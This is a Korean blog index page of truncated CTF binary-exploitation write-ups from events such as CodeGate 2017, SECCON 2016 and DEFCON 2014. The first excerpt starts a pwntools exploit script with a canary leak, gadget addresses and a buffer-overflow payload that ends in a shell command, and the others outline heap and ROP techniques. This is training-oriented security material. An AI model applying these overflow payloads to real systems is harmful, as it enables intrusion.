본문 바로가기

ctf

[CodeGate 2017 CTF] babypwn 취약점이 존재하는 부분이다. babypwn 이기에 어렵지 않다. 먼저 canary leak 을 통해 canary 값을 알아낸 후, Message 입력을 통해 canary 값과 payload를 위치에 맞게 넣어 overflow 를 일으키면 RET 주소를 control 할 수 있다. # exploit.py from pwn import * binary = ELF('./babypwn') p = remote('110.10.212.130', 8889) canary = 0xd39b6e00 ppppr = 0x08048eec bss = 0x0804b1b4 system_libc = 0xf75af190 shell = "cat flag>&4\00" payload = 'A'*40 + p32(canary) + 'A'*12 pay.. 더보기
[pwnable.tw] start 보호되어 있는 글입니다. 더보기
[Christmas 2016 CTF] solo # file solo solo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=a4bc7756998eb9c75ac8e3df5041a688f4bde7df, stripped 취약점이 터지는 구간은 qword_602080 에 값이 존재한다면 2000byte 만큼 값을 넘길 수 있고, RIP 컨트롤이 가능하다. qword_602080 에 값을 넣어줘야하는데,, 두 가지 방법이 있다. 1. fastbin 을 이용해 해당 영역에 값을 덮어쓴다. 2. unsorted bin attack 을 통해 값을 덮어쓴다. 이 이후로는 ROP 로 g.. 더보기
[TJCTF 2016 CTF] oneshot # file oneshot oneshot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59, not stripped [*] '/ctf/oneshot' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE NX가 걸린 64bit 바이너리이다. 바이너리는 엄청 짧다.. 간단히 설명하자면, &v4 의 주소에 어떤 주소를 넣으면, 해당 주소의 값을 출력해준다... 더보기
[SECCON 2016 CTF] checker #file checker checker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=93df47896b068ea44ddcd0b97780375cd589987e, not stripped [*] '/ctf/checker' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE NX, Canary, Full RELRO 가 걸려있는 64bit 바이너리이다. 해당 바이너리이다. 처음 문제를 풀 때 분석은 크게 어렵지 않았지만 꽤나 고.. 더보기
[WITHCON 2016 CTF] malloc # file malloc malloc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=2e04ee63e565ab5e8ebbd5507114abcf7d41bdcb, stripped [*] '/ctf/malloc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE 위 그림은 해당 바이너리의 main 부분이다. 분석에 특별히 어려운 것은 없었다. 이 프로그램에서 우리는 malloc, free 이 후 modify 를 통.. 더보기
[Defcamp 2016 CTF] warm_heap #file exp100.bin exp100.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0e731dd538262f53bce462fc8e115cf2d2ede5bf, stripped 간단하게 설명하자면.. 각 1,3번째 malloc pointer + 1 의 위치에 2,4번째 malloc() 함수의 반환 주소를 넣는다. 그리고 fgets() 함수를 통해서 malloc pointer + 1 의 주소 값에 4096byte 만큼 입력받는다. 여기서 첫 번째 strcpy() 를 통해 malloc_ptr2 + 1 의 주소 값을 .. 더보기
[pwnable.kr] cmd2 보호되어 있는 글입니다. 더보기
[pwnable.kr] dragon 보호되어 있는 글입니다. 더보기
[DEFCON 2014 CTF] babyfirst heap # file babyfirst-heap: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped randrange 함수를 통해 랜덤하게 malloc 을 할당한다. 총 20번의 할당 중 10번의 loop 뒤 malloc(260); 만큼 할당한다. 그리고 할당이 끝난 후 malloc(260); 가 할당된 주소에 0x1000byte 만큼 입력받는다. 그리고 할당 된 heap을 free 한다. 우리가 0x1000byte 만큼 입력받을 .. 더보기